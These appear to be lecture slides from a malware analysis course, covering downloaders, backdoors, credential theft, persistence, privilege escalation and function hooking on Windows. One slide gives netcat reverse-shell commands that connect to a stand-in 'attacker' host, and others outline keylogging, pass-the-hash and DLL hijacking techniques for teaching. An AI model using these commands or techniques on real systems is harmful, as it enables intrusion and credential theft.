Malware Behavior

Chapter 11
Common Malware Functionalities

- Downloaders
- Backdoors
- Credential stealers
- Persistence mechanisms
- Privilege escalation
- Covering tracks (rootkits)
Downloaders and Launchers

- Retrieve an additional piece of malware from the Internet and execute
  - Often packaged with an exploit
  - Use Windows API `URLDownloadToFileA` -> a call to `WinExec`
- Launchers
  - Install malware for immediate or future covert execution
Backdoors

- Provides remote access to the attackers on the victim’s machine
  - Mostly common malware
  - Often use port 80 (HTTP protocol) to blend in with other traffic
  - Learn their network signatures (discussed later)
  - Operations: manipulate registry keys, enumerate display windows, create directories, search files.
- Always use reverse shell
  - Allow attackers to execute commands like local machine
  - Examples: Netcat, cmd.exe
Bypass Firewall Shoveling Shell

Attacker → Firewall X Or NAT → Victim

\texttt{nc victim 8888}

Attacker → Firewall → Victim

\texttt{nc -l 8888 -e /bin/sh}

“Synchronize the two shells”

Attacker → Firewall → Victim

\texttt{nc -l 8888 -p 8888}

\texttt{nc attacker 8888 -e /bin/sh}

Need an outbound traffic Firewall
Remote Admin Tool (RAT)

- Remotely manage computer(s) – similar to botnet command and control.
- Typically over port 80 and 443
- Poison Ivy Rat

Figure 11-1: RAT network structure
Botnet

- Collection of compromised hosts (zombies)
- Purpose: spread malware/spam, DDOS (blackmailing)
- Difference between RAT and Botnet
  - Botnet controls more hosts than RAT
  - Botnet one-to-all, RAT (could be one-to-one)
  - Botnet: Massive attack; RAT: targeted attack
Credential Stealer

- Three main types:
  - Program that monitors user login
  - Program that dumps credentials stored in Windows, e.g. password hashes, to be cracked offline.
  - Program that locks keystrokes
Monitoring User Login

- Windows XP: *Graphical Identification and Authentication* (GINA) interception – malware uses to steal user credentials. (ignored in Vista)

- GINA was intended for third party identification (RFID/smart cards)

- GINA -> msgina.dll

- Winlogon.exe -> msgina.dll -> GINA requests credentials

- Third Party DLL loaded by Winlogon:

  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL
Fsgina.dll

- Fsgina found in this registry – intercept all credentials – log the information to disk/pass over to network
- Configured to run by setting a Windows registry key
  - HKLM\SOFTWARE\...\Winlogon\GinaDLL set to fsgina.dll

Similar to Man-in-the-middle

**Winlogon process**
- winlogon executes
- fsgina.dll requests credentials
- fsgina.dll passes credentials to msgina.dll (it must contain all DLL exports required by GINA, begins with Wlx – good indicator it is a GINA interceptor)
Hash Dumping

- Password storage
  - Typically, only hashes of passwords stored
  - Users with forgotten passwords issued new ones
  - Hash function well-known
  - Dumping hashes allows dictionary attacks since users with weak passwords subject to brute-force dictionary attacks off-line
Pass-the-Hash Attack

- No need to crack the hashes to obtain the plaintext. – Reuse captured hash.
- Pwdump/Pass-the-Hash (PSH) Toolkit – opensource
  - Pwdump – programs that outputs the LM/NTLM password hashes from Security Account Manager (SAM)
  - Pwdump performs DLL injection on lsass.exe (Local Security Authority Subsystem Service)
  - Pwdump calls GetHash (Hash Extraction) – Can be easily changed to avoid signatures
Keystroke Logging

- Classic form of credential stealing - records keystrokes so attacker can observe typed data
- Kernel-based Keyloggers
  - Difficult to detect with user-mode applications
  - Act as keyboard drivers to capture keystrokes
- User-space Keyloggers
  - Use the Windows API to hook – notify the malware each time a key is pressed (SetWindowsHookEx)
  - Poll the state of the keys - (GetForegroundWindow and GetAsyncKeyState)
User-Space Keyloggers

1. Call `GetForegroundWindow`: logs the active window

2. Iterates through a list of keys

3. Calls `GetAsyncKeyState`: check if a key pressed

4. Check if the user is still in the same window

Notice – Loop: Call `sleep` function to avoid eating up resources

Listing 11-4
Disassembly examples
Persistence Mechanism

- Methods to ensure survival of malware on a system for a long time
  - Windows Registry persistence
  - Trojaning
  - DLL load-order hijacking
Windows Registry

- Common malware targets
  - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run + and more
- AppInit_DLLs
  - Loaded into every process that loads User32.dll
  - Stored in:
    - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
- Winlogon Notify
  - Hooking logged events (logon, logoff, startup, shutdown, lock screen)
  - Registry entry: \HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\n  - When winlogon.exe generates an event, Windows checks the Notify registry key above for a DLL that will handle it
SvcHost DLL

- SvcHost DLLs
  - All services persist via registry, removing, won’t start
  - `svchost.exe` – generic host process for services that run from DLLs
  - Many instance of `svchost` running at once
  - Each instance contains a group of services
  - Group determined at

```
\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
```

Services are defined at
```
\HKLM\System\CurrentControlSet\Services\ServiceName
```
Trojaning

- Trojaning system binaries – patches libraries or DLLs - force the system to execute the malware
- Patch the entry function – directly jumps to malicious code
  - Overwrites beginning of the function
  - Added to an empty section of the binary
  - No impact on normal operation
  - Returns to target program after execution
Trojaning DLL

- Rutils.dll MD5 doesn’t match the expected
- Static analysis with IDApro

Jumping to another location

<table>
<thead>
<tr>
<th>Original code</th>
<th>Trojanized code</th>
</tr>
</thead>
<tbody>
<tr>
<td>DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)</td>
<td>DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)</td>
</tr>
<tr>
<td>mov   edi, edi</td>
<td>jmp      DllEntryPoint_0</td>
</tr>
<tr>
<td>push  ebp</td>
<td></td>
</tr>
<tr>
<td>mov   ebp, esp</td>
<td></td>
</tr>
<tr>
<td>push  ebx</td>
<td></td>
</tr>
<tr>
<td>mov   ebx, [ebp+8]</td>
<td></td>
</tr>
<tr>
<td>push  esi</td>
<td></td>
</tr>
<tr>
<td>mov   esi, [ebp+oCh]</td>
<td></td>
</tr>
</tbody>
</table>
Trojaning DLL

- **DllEntryPoint function tampering**
  - We have seen malicious program changes the code at entry to jump immediately to malicious code
  - Malicious code performs `pusha` to save all registers in one instruction
  - Malicious code performs `popa` to restore all registers before returning back to legitimate code
  - Malicious code forces `LoadLibrary` of `msconf32.dll` before returning back to original entry point
DLL Load-Order Hijacking

- DLL load-order hijacking (no need registry/trojaning binaries)
  - DLL search path in Windows XP
    1. Directory from which application was loaded
    2. Current directory
    3. System directory (GetSystemDirectory function)
    4. 16-bit system directory
    5. Windows directory (GetWindowsDirectory function)
    6. Directories in PATH environment variable

- Known DLL shortlist for speedup loading
- Rename malicious library and place high in path to replace the default one that supposed to be loaded (afterwards)
- /Windows checked before /System32, place the malicious DLL in /Windows.
- Any startup binary not found in /System32 is vulnerable to this attack (explorer.exe has around 50)
Privilege Escalation

- Most users run as local administrators
  - Malware has the same privilege
  - Malware uses privilege escalation for those that don't
  - Exploit vulnerable code to obtain administrator privileges
  - Many malware frameworks include such exploits (e.g. http://www.metasploit.com/)
- Access to restricted calls such as TerminateProcess and CreateRemoteThread
Function Hooking

- Mechanism used to redirect function calls to injected attack code
  - Replaces legitimate function with alternative one

Two general methods

- Function table hooking (IAT Hooking – Import Address Table)
  - Run-time data structures that contain function pointers that are invoked during program execution

- Hot patching function invocation (inline hooking)
  - Modify JMP/CALL targets in code
  - Modify function prologues to add detour
IAT Hooking

- Import Address Table (IAT) used to call functions in libraries
- Normally, the code will use the IAT to access target function

Application code

```
push <call parms>
call [imp_InternetConnect]
...
```

Import Address Table

```
jmp InternetConnect
jmp InternetAutodial
jmp InternetErrorDlg
...
```

InternetConnect()

```
push ebp
lea ebp, [esp+var_5 8]
sub esp, 29Ch
...
```
IAT Hooking

- Modify IAT to hijack a DLL call
  - Load rootkit hook function into memory
  - Replace target function’s address in the IAT with address of hook function

Application code

```plaintext
push <call parms>
call [imp_InternetConnect]
...
```

Import Address Table

```plaintext
jmp InternetConnect
jmp InternetAutodial
jmp InternetErrorDlg
...
```

InternetConnect()

```plaintext
push ebp
lea ebp, [esp+var_5 8]
sub esp, 29Ch
...
```

Rootkit Code

- X
IAT Hooking (Ex. From Book)

- Easily detectable – modifies pointers
**Inline Hooking**

- Overwrite API function code contained in the imported DLLs.
  - IAT modifies the pointers – inline changes the actual function code
  - Replace the start of the code with a jump to the malicious code
  - Example - Modify `ZwDeviceIoControlFile` to hide ports
    - Get pointer to code location of function to insert hook into eax – install a 7-byte inline hook
    - Define “hook byte” template (detour)
    - Copy address of hooking function into template (`memcpy`)
    - Call to install hook bytes into `ZwDeviceIoControlFile` call
  - Anti-virus expect inline hooks at the start, can modify the API code to avoid detection.
In Class Homework